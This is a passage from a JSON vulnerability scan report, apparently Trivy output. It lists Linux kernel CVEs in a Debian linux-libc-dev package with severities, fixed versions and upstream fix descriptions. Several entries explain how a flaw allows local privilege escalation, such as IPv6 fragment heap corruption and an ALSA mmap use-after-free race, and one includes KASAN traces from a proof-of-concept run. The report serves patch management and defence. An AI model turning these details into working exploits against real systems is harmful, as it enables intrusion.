uctx with kfree() but never removes\nit from the list. This leaves a freed node in fcport-\u003eunsol_ctx_head: the\nnext list_add_tail() for that fcport writes through the freed node, and a\nsubsequent list_del() can corrupt the list or panic.\n\nUnlink uctx with list_del() before kfree() on the error path, matching the\nother free sites in qla_nvme_release_lsrsp_cmd_kref() and\nqla2xxx_process_purls_pkt(). qla2x00_rel_sp() in the failure path only\nreturns the SRB to its pool and does not invoke sp-\u003eput_fn, so the out:\npath is the sole free and uctx is always still linked there.", "Severity": "HIGH", "VendorSeverity": { "azure": 3, "oracle-oval": 3, "photon": 3, "redhat": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-97528", "https://git.kernel.org/pub/scm/linux/security/vulns.git/plain/cve/published/2026/CVE-2026-97528.mbox", "https://git.kernel.org/stable/c/925a9129a514b7c3bc0a8af01e51868adbb9a83e", "https://git.kernel.org/stable/c/a95fc5f1c12bba1dbff72bd2611e7fad0758831b", "https://git.kernel.org/stable/c/c55d649a6cc246c3ccd5d118faea230c46b60f35", "https://git.kernel.org/stable/c/cbbf1484496aac86038e67ac984949af58009d4b", "https://git.kernel.org/stable/c/e46160a5d4fa59bf4d5f3412b6b5cb79edb967dd", "https://linux.oracle.com/cve/CVE-2026-97528.html", "https://linux.oracle.com/errata/ELSA-2026-500572.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-97528", "https://ubuntu.com/security/notices/USN-8959-1", "https://ubuntu.com/security/notices/USN-8960-1", "https://www.cve.org/CVERecord?id=CVE-2026-97528" ], "PublishedDate": "2026-09-25T11:17:02.98Z", "LastModifiedDate": "2026-10-21T13:21:12.063Z" }, { "VulnerabilityID": "CVE-2026-97602", "VendorIDs": [ "DSA-6528-1" ], "PkgID": "linux-libc-dev@6.12.101-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.101-1?arch=all\u0026distro=debian-13.6", "UID": "9ab03bb6a5547a14" }, "InstalledVersion": "6.12.101-1", "FixedVersion": "6.12.111-1", "Status": "fixed", "Layer": { "DiffID": "sha256:fb95d283814fbe759cfb75a295eb404102804c90b32935ba034a06b18e4ee80a" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-97602", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:783056816a88b3eae538576507861c85acaf0ffd9622eb507aa3de4779ad6184", "Title": "kernel: inet: frags: invalidate queues before flushing them", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\ninet: frags: invalidate queues before flushing them\n\nfqdir_pre_exit() flushes the skbs from incomplete queues without\nchanging their completion state. A fragment which found a queue before\nhigh_thresh was cleared can then acquire the queue lock and reuse stale\nreassembly metadata. A queue concurrently killed after fqdir-\u003edead is\nset can instead become INET_FRAG_COMPLETE|INET_FRAG_HASH_DEAD while\nstill holding its old skbs; skipping it because it is complete leaves\nthose references behind until asynchronous fqdir teardown.\n\nFor IPv6, stale metadata can make ip6_frag_reasm() use the old\nnhoffset with a new skb and access memory out of bounds. The resulting\nheap corruption can be leveraged for local privilege escalation when\nunprivileged network namespaces are available. Unflushed fragments can\nalso keep conntrack references alive after the conntrack per-net\ncleanup point.\n\nKill each incomplete queue, then flush every queue still owned by the\ndying rhashtable. HASH_DEAD identifies that ownership, while complete\nqueues without it are already owned by another destroy path and must be\nleft alone. Releasing a timer reference removed by inet_frag_kill() is\ndeferred to inet_frag_putn(), after the queue lock is dropped.\n\nKASAN report:\n\n BUG: KASAN: slab-out-of-bounds in ipv6_frag_rcv (net/ipv6/reassembly.c:289 (discriminator 2) net/ipv6/reassembly.c:229 (discriminator 2) net/ipv6/reassembly.c:391 (discriminator 2))\n Write of size 1 at addr ff110001039c6e00 by task poc/771\n Call Trace:\n ? ipv6_frag_rcv (net/ipv6/reassembly.c:289 (discriminator 2) net/ipv6/reassembly.c:229 (discriminator 2) net/ipv6/reassembly.c:391 (discriminator 2))\n ipv6_frag_rcv (net/ipv6/reassembly.c:289 (discriminator 2) net/ipv6/reassembly.c:229 (discriminator 2) net/ipv6/reassembly.c:391 (discriminator 2))\n ip6_protocol_deliver_rcu (net/ipv6/ip6_input.c:479 (discriminator 5))\n ip6_input_finish (net/ipv6/ip6_input.c:534)\n ipv6_rcv (include/net/dst.h:480 (discriminator 3) net/ipv6/ip6_input.c:119 (discriminator 3) net/ipv6/ip6_input.c:109 (discriminator 3) include/linux/netfilter.h:325 (discriminator 3) include/linux/netfilter.h:319 (discriminator 3) net/ipv6/ip6_input.c:351 (discriminator 3))\n packet_sendmsg (net/packet/af_packet.c:3110 net/packet/af_packet.c:3142)\n __x64_sys_sendmmsg (net/socket.c:2883 net/socket.c:2880 net/socket.c:2880)\n The buggy address belongs to the object at ff110001039c6b40\n which belongs to the cache skbuff_small_head of size 704\n The buggy address is located 0 bytes to the right of\n allocated 704-byte region [ff110001039c6b40, ff110001039c6e00)\n\n BUG: KASAN: slab-out-of-bounds in ip6_protocol_deliver_rcu (net/ipv6/ip6_input.c:423 (discriminator 1))\n Read of size 1 at addr ff110001039c6e08 by task poc/771\n Call Trace:\n ? ip6_protocol_deliver_rcu (net/ipv6/ip6_input.c:423 (discriminator 1))\n ip6_protocol_deliver_rcu (net/ipv6/ip6_input.c:423 (discriminator 1))\n ip6_input_finish (net/ipv6/ip6_input.c:534)\n ipv6_rcv (include/net/dst.h:480 (discriminator 3) net/ipv6/ip6_input.c:119 (discriminator 3) net/ipv6/ip6_input.c:109 (discriminator 3) include/linux/netfilter.h:325 (discriminator 3) include/linux/netfilter.h:319 (discriminator 3) net/ipv6/ip6_input.c:351 (discriminator 3))\n packet_sendmsg (net/packet/af_packet.c:3110 net/packet/af_packet.c:3142)\n __x64_sys_sendmmsg (net/socket.c:2883 net/socket.c:2880 net/socket.c:2880)\n packet_sendmsg (net/packet/af_packet.c:2959 net/packet/af_packet.c:3053 net/packet/af_packet.c:3142)\n __x64_sys_sendmmsg (net/socket.c:2883 net/socket.c:2880 net/socket.c:2880)\n The buggy address belongs to the object at ff110001039c6b40\n which belongs to the cache skbuff_small_head of size 704\n The buggy address is located 8 bytes to the right of\n allocated 704-byte region [ff110001039c6b40, ff110001039c6e00)", "Severity": "HIGH", "VendorSeverity": { "amazon": 3, "azure": 3, "bottlerocket": 3, "oracle-oval": 3, "photon": 3, "redhat": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-97602", "https://access.redhat.com/security/cve/CVE-2026-97602", "https://git.kernel.org/pub/scm/linux/security/vulns.git/plain/cve/published/2026/CVE-2026-97602.mbox", "https://git.kernel.org/stable/c/7cb5f4643a7fcdbfbee1fad3cdfc678add62d378", "https://git.kernel.org/stable/c/b824476c56a153934c67c9e0f873e1fd967743d6", "https://git.kernel.org/stable/c/b9d77f1652e79e58eac48430d0431c329137efcc", "https://git.kernel.org/stable/c/bf3d6c44c84c57e8a4bb7f40ad95b64f9b0198ba", "https://git.kernel.org/stable/c/ff83367cda8eefbd62007ef1dff4f8104226d18a", "https://github.com/bottlerocket-os/bottlerocket-kernel-kit/blob/develop/advisories/9.5.0/BRSA-kpcyj8dhsnn5.toml", "https://linux.oracle.com/cve/CVE-2026-97602.html", "https://linux.oracle.com/errata/ELSA-2026-500374.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-97602", "https://ubuntu.com/security/notices/USN-8959-1", "https://ubuntu.com/security/notices/USN-8960-1", "https://www.cve.org/CVERecord?id=CVE-2026-97602" ], "PublishedDate": "2026-09-25T11:17:11.573Z", "LastModifiedDate": "2026-10-19T10:17:29.963Z" }, { "VulnerabilityID": "CVE-2026-98110", "VendorIDs": [ "DSA-6528-1" ], "PkgID": "linux-libc-dev@6.12.101-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.101-1?arch=all\u0026distro=debian-13.6", "UID": "9ab03bb6a5547a14" }, "InstalledVersion": "6.12.101-1", "FixedVersion": "6.12.111-1", "Status": "fixed", "Layer": { "DiffID": "sha256:fb95d283814fbe759cfb75a295eb404102804c90b32935ba034a06b18e4ee80a" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-98110", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:f88bce7b5ac5b4a4bd820d5c3c0be7fd22bf7aa2b44797959000538733dd2a03", "Title": "kernel: Bluetooth: btintel: bound firmware ID by TLV length", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nBluetooth: btintel: bound firmware ID by TLV length\n\nThe firmware ID is treated as a NUL-terminated string even though the\nTLV length is its only boundary. If the value does not contain a NUL\nterminator, snprintf() can read beyond the received response.\n\nLimit the conversion to the advertised TLV value length.", "Severity": "HIGH", "CweIDs": [ "CWE-125" ], "VendorSeverity": { "nvd": 3, "oracle-oval": 3, "photon": 3, "redhat": 1, "ubuntu": 2 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:H", "V3Score": 7.1 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "V3Score": 5.5 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-98110", "https://git.kernel.org/pub/scm/linux/security/vulns.git/plain/cve/published/2026/CVE-2026-98110.mbox", "https://git.kernel.org/stable/c/058f56de5f48ba4b3be01526006ac83ce9e79f39", "https://git.kernel.org/stable/c/a07b3024a927892dd46e7dfbed438e8834e24098", "https://git.kernel.org/stable/c/ac8aa9e0ec93a12a60230066f199f49c3b9aac3d", "https://git.kernel.org/stable/c/aef56a2bd5aa22808ce508605d7497d2b5e8eb5f", "https://linux.oracle.com/cve/CVE-2026-98110.html", "https://linux.oracle.com/errata/ELSA-2026-500374.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-98110", "https://ubuntu.com/security/notices/USN-8959-1", "https://ubuntu.com/security/notices/USN-8960-1", "https://www.cve.org/CVERecord?id=CVE-2026-98110" ], "PublishedDate": "2026-09-25T11:17:42.113Z", "LastModifiedDate": "2026-10-28T18:41:29.217Z" }, { "VulnerabilityID": "CVE-2026-98111", "VendorIDs": [ "DSA-6528-1" ], "PkgID": "linux-libc-dev@6.12.101-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.101-1?arch=all\u0026distro=debian-13.6", "UID": "9ab03bb6a5547a14" }, "InstalledVersion": "6.12.101-1", "FixedVersion": "6.12.111-1", "Status": "fixed", "Layer": { "DiffID": "sha256:fb95d283814fbe759cfb75a295eb404102804c90b32935ba034a06b18e4ee80a" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-98111", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:128d5d0f76a7d87074d50162fd131541fa0d58c91b93755c78076dfa4497005b", "Title": "kernel: Bluetooth: btintel: validate version TLV value lengths", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nBluetooth: btintel: validate version TLV value lengths\n\nbtintel_parse_version_tlv() verifies that a complete TLV is present in\nthe response, but it does not ensure that the value is long enough for\nthe specific TLV type. A short value can therefore cause an\nout-of-bounds read through get_unaligned_le16(), get_unaligned_le32(),\nor memcpy().\n\nReject values shorter than the minimum required by each known TLV type.\nAlso reject responses that do not contain the Command Complete Status\nfield.", "Severity": "HIGH", "CweIDs": [ "CWE-125" ], "VendorSeverity": { "azure": 2, "nvd": 3, "oracle-oval": 3, "photon": 3, "redhat": 2, "ubuntu": 2 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:H", "V3Score": 7.1 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "V3Score": 5.5 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-98111", "https://git.kernel.org/pub/scm/linux/security/vulns.git/plain/cve/published/2026/CVE-2026-98111.mbox", "https://git.kernel.org/stable/c/5ec43df2830b73e004147303bf7914ca884d6770", "https://git.kernel.org/stable/c/76948d207d0978a613ce06a05cba07284a5578a7", "https://git.kernel.org/stable/c/83499ac3ca62e43ed40f7574b13ed398a6891511", "https://git.kernel.org/stable/c/a086c0892969bf8a0151b0f12bd14a68827c88b2", "https://git.kernel.org/stable/c/e9cf7f175c00d36b060828f4eac8d2e246ee079b", "https://linux.oracle.com/cve/CVE-2026-98111.html", "https://linux.oracle.com/errata/ELSA-2026-500374.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-98111", "https://ubuntu.com/security/notices/USN-8959-1", "https://ubuntu.com/security/notices/USN-8960-1", "https://www.cve.org/CVERecord?id=CVE-2026-98111" ], "PublishedDate": "2026-09-25T11:17:42.223Z", "LastModifiedDate": "2026-10-28T18:45:26.26Z" }, { "VulnerabilityID": "CVE-2026-98116", "VendorIDs": [ "DSA-6528-1" ], "PkgID": "linux-libc-dev@6.12.101-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.101-1?arch=all\u0026distro=debian-13.6", "UID": "9ab03bb6a5547a14" }, "InstalledVersion": "6.12.101-1", "FixedVersion": "6.12.111-1", "Status": "fixed", "Layer": { "DiffID": "sha256:fb95d283814fbe759cfb75a295eb404102804c90b32935ba034a06b18e4ee80a" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-98116", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:c1bdd16ad04c46d88cca5568ad5aa2f53c5d9a631740bd8b133b6021f9c495c4", "Title": "kernel: ALSA: pcm: Serialize PCM mmap with buffer reallocation to fix page UAF", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nALSA: pcm: Serialize PCM mmap with buffer reallocation to fix page UAF\n\nsnd_pcm_hw_params() and snd_pcm_hw_free() guard buffer reallocation\nwith an mmap_count check performed under the PCM stream lock, but the\nlock is released long before the buffer is actually freed:\nsnd_pcm_sync_stop(), constraint refinement and do_free_pages() all\nhappen in between. snd_pcm_mmap_data(), on the other hand, takes no\nlock at all: it validates against the old buffer's state and\ndma_bytes, remaps its pages into the VMA, and only then increments\nmmap_count.\n\nA concurrent mmap() can therefore slip in between the check and the\nfree. remap_pfn_range() installs writable PTEs for the old buffer's\npages without taking page references, and the subsequent\ndo_free_pages() returns those pages to the page allocator while the\nVMA still maps them. This leaves a stale, writable mapping of freed\npages: a page-level use-after-free that can be leveraged for local\nprivilege escalation.\n\nMake snd_pcm_mmap_data() participate in the buffer-access scheme\nintroduced for hw_params/hw_free: acquire runtime-\u003ebuffer_accessing\nbefore validating and remapping, and release it afterwards. Buffer\nreallocation already fails with -EBUSY while accessors are active,\nand the mmap side now fails with -EBUSY while a reallocation is in\nprogress, so the validate/remap sequence and the check/free sequence\ncan no longer interleave.\n\nA reproducer that turns this race into a stale writable mapping of\nthe freed DMA buffer pages is available on request.", "Severity": "HIGH", "CweIDs": [ "CWE-416" ], "VendorSeverity": { "azure": 3, "oracle-oval": 3, "photon": 3, "redhat": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-98116", "https://git.kernel.org/pub/scm/linux/security/vulns.git/plain/cve/published/2026/CVE-2026-98116.mbox", "https://git.kernel.org/stable/c/8c1882dfee8f404d118020664b73eb4592172226", "https://git.kernel.org/stable/c/9857a75714bb5df4781e4d8b1a1753b1e17bf07a", "https://git.kernel.org/stable/c/9b110a9dcecc59516c77cb3c0caf1f492f75df2d", "https://git.kernel.org/stable/c/cbadf2575d25e7dcc0d4da2717817ae569fbc99b", "https://git.kernel.org/stable/c/cbc7ec97601d09b74e05e44470fa6b0bcdabf3f5", "https://git.kernel.org/stable/c/e6cdd2a0470d64073349a970dc1691433804b271", "https://git.kernel.org/stable/c/fd137bf8149bc6460f9b7b1fc292025da04cb9ee", "https://linux.oracle.com/cve/CVE-2026-98116.html", "https://linux.oracle.com/errata/ELSA-2026-500574.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-98116", "https://ubuntu.com/security/notices/USN-8959-1", "https://ubuntu.com/security/notices/USN-8961-1", "https://ubuntu.com/security/notices/USN-8962-1", "https://ubuntu.com/security/notices/USN-8963-1", "https://www.cve.org/CVERecord?id=CVE-2026-98116" ], "PublishedDate": "2026-09-25T11:17:42.78Z", "LastModifiedDate": "2026-10-28T16:10:22.6Z" }, { "VulnerabilityID": "CVE-2026-98118", "PkgID": "linux-libc-dev@6.12.101-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.101-1?arch=all\u0026distro=debian-13.6", "UID": "9ab03bb6a5547a14" }, "InstalledVersion": "6.12.101-1", "Status": "affected", "Layer": { "DiffID": "sha256:fb95d283814fbe759cfb75a295eb404102804c90b32935ba034a06b18e4ee80a" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-98118", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:49fc64ec0142f6f1d71b7fc78ba27b3351be3fce19e24c8eb0b64a36118f5897", "Title": "kernel: netfs: Fix readahead synchronisation issues by loading all folios upfront", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nnetfs: Fix readahead synchronisation issues by loading all folios upfront\n\nThere are some synchronisation issues that derive from the app thread\nadding more folios to the rolling buffer whilst the collector thread is\nlooking at them or trying to clear them, such as determining the setting of\nfront_folio_order when the next folio hasn't been added yet,\n\nThe reason for the rolling buffer approach is that loading the buffer\nupfront and then dropping all the refs just acquired is quite a slow\noperation, and loading progressively allows some of the cost to be deferred\nuntil after at least some of the I/O is started.\n\nInstead, a better way is to load all the folios into the rolling buffer\nupfront - and then drop the refs later, once the I/O is in progress. (Even\nbetter would be for the refs not to be there at all.)\n\nFix this by changing the rolling buffer loader to load all the folios\nselected by the VM for readahead upfront into the folio queue. The folio\nqueue is allocated a batch worth at a time as we don't know how many folios\nare involved (the readahead_control struct, alas, has a page count, not a\nfolio count).\n\nThe folio refs acquired from readahead are then dropped in bulk once the\nfirst subrequest is dispatched as it's quite a slow operation. The\ncollector waits for NETFS_RREQ_NEED_PUT_RA_REFS to be cleared so that it\ndoesn't unlock folios before the xarray has been scanned for them.\n\nThis simplifies the buffer handling later and isn't noticeably slower as\nthe xarray doesn't need to be modified and the folios are all already\npre-locked.", "Severity": "HIGH", "CweIDs": [ "CWE-362" ], "VendorSeverity": { "nvd": 3, "redhat": 2, "ubuntu": 2 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:H", "V3Score": 7.1 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "V3Score": 5.5 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-98118", "https://git.kernel.org/pub/scm/linux/security/vulns.git/plain/cve/published/2026/CVE-2026-98118.mbox", "https://git.kernel.org/stable/c/8c9b33945712074a85d3bdacbca036ba6b3d92c6", "https://git.kernel.org/stable/c/fed0b33e6c584986ba70018ec9f9787a98216e64", "https://nvd.nist.gov/vuln/detail/CVE-2026-98118", "https://ubuntu.com/security/notices/USN-8959-1", "https://ubuntu.com/security/notices/USN-8960-1", "https://www.cve.org/CVERecord?id=CVE-2026-98118" ], "PublishedDate": "2026-09-25T11:17:43.03Z", "LastModifiedDate": "2026-10-28T16:00:38.963Z" }, { "VulnerabilityID": "CVE-2026-98155", "VendorIDs": [ "DSA-6528-1" ], "PkgID": "linux-libc-dev@6.12.101-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.101-1?arch=all\u0026distro=debian-13.6", "UID": "9ab03bb6a5547a14" }, "InstalledVersion": "6.12.101-1", "FixedVersion": "6.12.111-1", "Status": "fixed", "Layer": { "DiffID": "sha256:fb95d283814fbe759cfb75a295eb404102804c90b32935ba034a06b18e4ee80a" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-98155", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:8fda6472a6081c70a5640995acb0a59c6a2607a70b59f8abb4076ce56d44d1e5", "Title": "kernel: accel/qaic: Address potential out-of-bounds read in resp_worker()", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\naccel/qaic: Address potential out-of-bounds read in resp_worker()\n\nAlthough 'commit 2feec5ae5df7 (\"accel/qaic: Handle DBC deactivation if the\nowner went away\")' fixes the scenario it was intended for by walking the\nmessage and only decoding QAIC_TRANS_DEACTIVATE_FROM_DEV, if present, it\nskipped over the bounds checking code that is included in decode_message().\nThis could lead to issues such as reading past the slab allocation's end,\ninfinite loops or kernel panics. For those issues to happen, a malformed\nwire message is needed to be sent from the device.\n\nInstead of duplicating the bounds checking code already present in\ndecode_message(), use the function inside resp_worker().", "Severity": "HIGH", "CweIDs": [ "CWE-125" ], "VendorSeverity": { "azure": 2, "nvd": 3, "photon": 3, "redhat": 2, "ubuntu": 2 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:H", "V3Score": 7.1 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "V3Score": 5.5 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-98155", "https://git.kernel.org/pub/scm/linux/security/vulns.git/plain/cve/published/2026/CVE-2026-98155.mbox", "https://git.kernel.org/stable/c/12deeade460d47031267256ba07add51cc7eabd0", "https://git.kernel.org/stable/c/5807a65f301b6c0e73a2dc03dd6f5e80a2861b72", "https://git.kernel.org/stable/c/ab243f74ab4084ca5c8dec608cb5b0deb27db067", "https://git.kernel.org/stable/c/c72e81ee46bdd4c221114d6e9515e9b4647616d7", "https://git.kernel.org/stable/c/f4b64488f3deca63f7fbc7d7c3835b2e668003f9", "https://nvd.nist.gov/vuln/detail/CVE-2026-98155", "https://ubuntu.com/security/notices/USN-8959-1", "https://ubuntu.com/security/notices/USN-8960-1", "https://www.cve.org/CVERecord?id=CVE-2026-98155" ], "PublishedDate": "2026-09-25T11:17:47.157Z", "LastModifiedDate": "2026-10-20T17:19:25.33Z" }, { "VulnerabilityID": "CVE-2026-98171", "VendorIDs": [ "DSA-6568-1" ], "PkgID": "linux-libc-dev@6.12.101-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.101-1?arch=all\u0026distro=debian-13.6", "UID": "9ab03bb6a5547a14" }, "InstalledVersion": "6.12.101-1", "FixedVersion": "6.12.113-1", "Status": "fixed", "Layer": { "DiffID": "sha256:fb95d283814fbe759cfb75a295eb404102804c90b32935ba034a06b18e4ee80a" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-98171", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:bad0099f0aea7070921b1c8a7774b84dd38c3ab496aa073c6293d835831eaad0", "Title": "kernel: kernel: Use-after-free in SMB client via malformed compound encrypted frames", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nsmb: client: fix next_buffer UAF and NextCommand bounds in compound PDUs\n\nFix several related bounds checking and pointer lifecycle issues in\nreceive_encrypted_standard()'s handling of compound encrypted frames:\n\n- Clear next_buffer after assigning it to server-\u003ebigbuf. A stale\n next_buffer pointer can lead to a use-after-free on subsequent\n error paths.\n- Update pdu_length to the decrypted plaintext size (buf_size). Using\n the pre-decryption length allows NextCommand to point into stale\n ciphertext residue.\n- Reject next_cmd values smaller than MID_HEADER_SIZE(server).\n- Fix an integer overflow in the upper bound check by verifying\n pdu_length - next_cmd \u003c MID_HEADER_SIZE(server), ensuring the\n trailing slice is large enough for a header.", "Severity": "HIGH", "VendorSeverity": { "amazon": 3, "azure": 4, "bottlerocket": 3, "oracle-oval": 3, "photon": 3, "redhat": 3, "ubuntu": 3 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "V3Score": 8.8 } }, "References": [ "http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-98171", "https://access.redhat.com/security/cve/CVE-2026-98171", "https://git.kernel.org/linus/05762c5bc1cfdcac36747994fde2c04387a457f1%20%287.3-rc4%29", "https://git.kernel.org/stable/c/05762c5bc1cfdcac36747994fde2c04387a457f1", "https://git.kernel.org/stable/c/1ed29f7a03417b405f38c09cfe04124883127b53", "https://git.kernel.org/stable/c/491e33144dee872cffda207f6fcb09260728f803", "https://git.kernel.org/stable/c/72eaef1f37a3b6bec11c342736834dc3707be3e4", "https://git.kernel.org/stable/c/7f022867ec9f0166a0b4400385bb601b1c6b2c75", "https://git.kernel.org/stable/c/858d5ac22cb889266993e7670f9f0c4f4aeedd78", "https://git.kernel.org/stable/c/8749946579708ea0d339034bb7f423a67dbe89cf", "https://git.kernel.org/stable/c/96c436e4b010711452b2872558938f4ef276492a", "https://github.com/bottlerocket-os/bottlerocket-kernel-kit/blob/develop/advisories/9.6.1/BRSA-cj2lcl1suuik.toml", "https://linux.oracle.com/cve/CVE-2026-98171.html", "https://linux.oracle.com/errata/ELSA-2026-500572.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-98171", "https://ubuntu.com/security/notices/USN-8959-1", "https://ubuntu.com/security/notices/USN-8960-1", "https://www.cve.org/CVERecord?id=CVE-2026-98171" ], "PublishedDate": "2026-10-06T09:17:58.773Z", "LastModifiedDate": "2026-10-30T13:21:11.36Z" }, { "VulnerabilityID": "CVE-2026-98222", "VendorIDs": [ "DSA-6568-1" ], "PkgID": "linux-libc-dev@6.12.101-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.101-1?arch=all\u0026distro=debian-13.6", "UID": "9ab03bb6a5547a14" }, "InstalledVersion": "6.12.101-1", "FixedVersion": "6.12.113-1", "Status": "fixed", "Layer": { "DiffID": "sha256:fb95d283814fbe759cfb75a295eb404102804c90b32935ba034a06b18e4ee80a" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-98222", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:9ea0b180818a2a834a205aab2a5d6c136019f9a531b42b4d82bf9677a0c1aad5", "Title": "kernel: KEYS: encrypted: fix integer overflow of datablob_len", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nKEYS: encrypted: fix integer overflow of datablob_len\n\nencrypted_key_alloc() stores datablob_len in a u16. It is computed from\nmultiple string and payload lengths. If the result exceeds U16_MAX, the\nassignment truncates the allocation size. KASAN reports a 32760-byte\nslab-out-of-bounds write when __ekey_init() copies the master key\ndescription into the undersized buffer.\n\nThe total payload length stored in key-\u003edatalen is also a u16. Use\ncheck_add_overflow() to reject values that do not fit either destination,\nand use kzalloc_flex() for the flexible-array allocation.", "Severity": "HIGH", "VendorSeverity": { "alma": 3, "amazon": 3, "bottlerocket": 3, "oracle-oval": 3, "photon": 3, "redhat": 3, "rocky": 3, "ubuntu": 3 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-98222", "https://access.redhat.com/errata/RHSA-2026:90365", "https://access.redhat.com/security/cve/CVE-2026-98222", "https://bugzilla.redhat.com/2348512", "https://bugzilla.redhat.com/2502255", "https://bugzilla.redhat.com/2502376", "https://bugzilla.redhat.com/2502382", "https://bugzilla.redhat.com/2507098", "https://bugzilla.redhat.com/2507122", "https://bugzilla.redhat.com/2516251", "https://bugzilla.redhat.com/2516417", "https://bugzilla.redhat.com/2517006", "https://bugzilla.redhat.com/2528642", "https://bugzilla.redhat.com/2532122", "https://bugzilla.redhat.com/2535066", "https://bugzilla.redhat.com/2540323", "https://bugzilla.redhat.com/2546385", "https://bugzilla.redhat.com/2546494", "https://bugzilla.redhat.com/show_bug.cgi?id=2348512", "https://bugzilla.redhat.com/show_bug.cgi?id=2502255", "https://bugzilla.redhat.com/show_bug.cgi?id=2502376", "https://bugzilla.redhat.com/show_bug.cgi?id=2502382", "https://bugzilla.redhat.com/show_bug.cgi?id=2507098", "https://bugzilla.redhat.com/show_bug.cgi?id=2507122", "https://bugzilla.redhat.com/show_bug.cgi?id=2516251", 